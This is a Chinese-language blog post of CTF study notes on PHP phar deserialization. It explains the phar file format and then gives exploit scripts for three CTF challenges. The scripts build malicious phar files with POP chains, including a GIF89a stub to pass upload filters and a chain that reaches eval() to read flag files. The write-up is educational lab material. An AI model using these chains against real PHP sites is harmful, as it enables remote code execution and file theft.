0%

phar反序列化学习总结

Phar反序列化漏洞是PHP中的一种安全漏洞,与PHP的Phar扩展和对象反序列化机制有关。Phar扩展允许将多个文件打包成一个单一的Phar归档文件,类似于ZIP或TAR。当Phar归档文件被加载时,PHP会自动反序列化其中的元数据。如果攻击者能够控制Phar归档文件的内容,他们可以构造恶意的元数据,使其在反序列化时触发任意代码执行。这种漏洞通常发生在应用程序对用户上传的文件处理不当,允许攻击者上传并加载恶意的Phar文件时。

前提知识

怎么构造pop链:

​ 序列化后,类便会被重构,我们可以通过,覆盖类中的属性变量,来触发魔术方法,进而执行危险方法或函数。

phar文件结构

phar文件主要由四部分组成

  • a stub

格式为:xxx<?php xxx;__HALT_COMPILER();?>。要求是必须以**__HALT_COMPILER();?>**结尾,否则phar拓展将无法识别这个文件为phar文件。

  • a manifest describing the contents

phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里是漏洞利用的关键点。

  • the file contents

被压缩的文件的内容。

  • a signature for verifying Phar integrity

签名,放在文件末尾,格式如下:

image-20250112164001940

注意:需要修改php.ini文件中的phar.readonly = Onphar.readonly = Off,才能成功生成.phar文件。

一个简单的例子

<?php
$phar = new Phar("phar.phar"); //后缀名必须是phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

class TestObject{
}
$t = new TestObject();
$t->data = "meta_data";
$phar->setMetadata($t); //将自定义的meta-data($t) 存入manifest

$phar->addFromString("a.txt", "xxx"); //添加要压缩的文件,随便写
$phar->stopBuffering(); //签名自动计算
?>

​ 运行代码,会在同目录下生成一个phar.phar文件,其内容如下,可以看到meta-data是以序列化的形式存储的。

image-20250112180250240

php大部分的文件系统函数,在参数可控的情况下,通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。如下:

进行反序列化操作

<?php
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include('phar://phar.phar');
// echo file_get_contents("phar.phar");
?>

利用前提条件

先简单说一下phar反序列化漏洞能够利用的基本前提:

  • phar文件能够上传到服务器
  • 要有可利用的魔术方法,来触发反序列化
  • 文件操作函数的参数可控,且:/phar字符没有被过滤

ctf实战练习

1.[CISCN2019 华北赛区 Day1 Web1]Dropbox

2.[SWPUCTF 2018]SimplePHP

怎么构造pop链:

​ 序列化后,类便会被重构,我们可以通过,覆盖类中的属性变量,来触发魔术方法,进而执行危险方法或函数。

<?php
class C1e4r
{
public $str;
}
class Show{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$p = new C1e4r();
$s = new Show();
$t = new Test();
$p->str = $s;
$s->str['str'] = $t;
$t->params['source'] = "/var/www/html/f1ag.php";

$phar = new Phar("s.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($p);
$phar->addFromString("a.txt", "aaaaa");
$phar->stopBuffering();
?>

3.[GXYCTF2019]BabysqliV3.0

分析upload.php源码

<?php
error_reporting(0);
class Uploader
{
public $Filename;
public $cmd;
public $token;

# function __construct();
# function __toString();
# function __destruct();
# function upload($file);
}

if(isset($_FILES['file']))
{
$uploader = new Uploader(); #接着调用__construct函数
$uploader->upload($_FILES["file"]); #会调用upload方法,$file=$_FILES["file"]
if(@file_get_contents($uploader)) #执行这一步前,会自行调用__destruct函数
{ #接着这里会触发__toString()函数
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>

实例化一个类的对象后,会自发调用__construct()构造函数。

function __construct()   #构造函数。它在创建类的新对象时自动调用
{
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name']))
{
$this->Filename = $_GET['name']; #需要执行这一步
}
else
{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

然后会调用upload($file)方法,下面的[^a-z0-9]表示,匹配任何非小写字母或非数字的符号。

function upload($file)   #file = $_FILES["file"]
{
global $sandbox; #当前目录/uploads/md5($_SESSION['user'])/
global $ext; #.txt
if(preg_match("[^a-z0-9]", $this->Filename))
{
$this->cmd = "die('illegal filename!');";
}
else #需要进入else
{
if($file['size'] > 1024)
$this->cmd = "die('you are too big (′▽`〃)');";
else
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
} #设置了this->cmd = move_uploaded_file('xx', 'xxx');

上面最后一行代码看起来比较乱,其实就是利用.连接了五个部分,下面我框出了要连接的内容。

QQ_1727423925626

如果其中,$file['tmp_name']=tmp_name$this->Filename=filename,那么连接起来就是这样的:move_uploaded_file('tmp_name', 'filename');

move_uploaded_file()是一个用于将上传的文件,从临时目录移动到新的路径下的函数,如下:

move_uploaded_file('临时文件路径', '目标文件路径');

接下来将随着类的销毁,会自发调用__destruct析构函数。

function __destruct()
{
if($this->token != $_SESSION['user'])
{
$this->cmd = "die('check token falied!');";
}
eval($this->cmd); #要绕过if,执行eval()
}

成功绕过if后,便能执行move_uploaded_file($file['tmp_name'], $this->Filename);。然后回到主程序流中,即将进行if语句的判断,但此时也触发了__toString()函数。

function __toString()
{
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

__toString()执行完后,程序会接着执行echo file_get_contents($this->Filename);

phar反序列化利用思路

Uploader类中有一个魔术方法__destruct(),其中我们可以利用eval($this->cmd),但是要绕过if语句,否则,$this->cmd会被重新赋值,那么exp.phar中的对$this->cmd值便无效了。

​ 而绕过if需要使token等于$_SESSION['user'],通过前面对源码的分析及上传文件后的回显可知,$_SESSION['user']其实就是回显里的.txt前面的一串字符。

exp.php

<?php
class HaHa
{
public $Filename;
public $cmd;
public $token;
function __construct()
{
$this->cmd = "highlight_file('/var/www/html/flag.php');";
$this->Filename = "a";
$this->token = "GXY897d924ee25aa61d0373a64ee3e56354";
}
}
$p = new HaHa();
$phar = new Phar("exp.phar"); #生成的.phar文件名称
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); #固定格式
$phar->setMetadata($p); #传入触发对象
$phar->addFromString("phar.txt","phar"); #随便写点,生成签名
$phar->stopBuffering();
?>

解题过程

随便上传一个文件,点击两次’上传’,得到token

image-20240927195911158

然后运行exp.php,生成exp.phar文件,上传exp.phar,这里只点击一次’上传’即可。

再随便上传一个文件,Burp抓包,添加参数name=/var/www/html/flag.php后,发送即可获得flag

image-20240927200749703

唉,这道题写一天了,也没真正搞清楚,只能先放这儿了。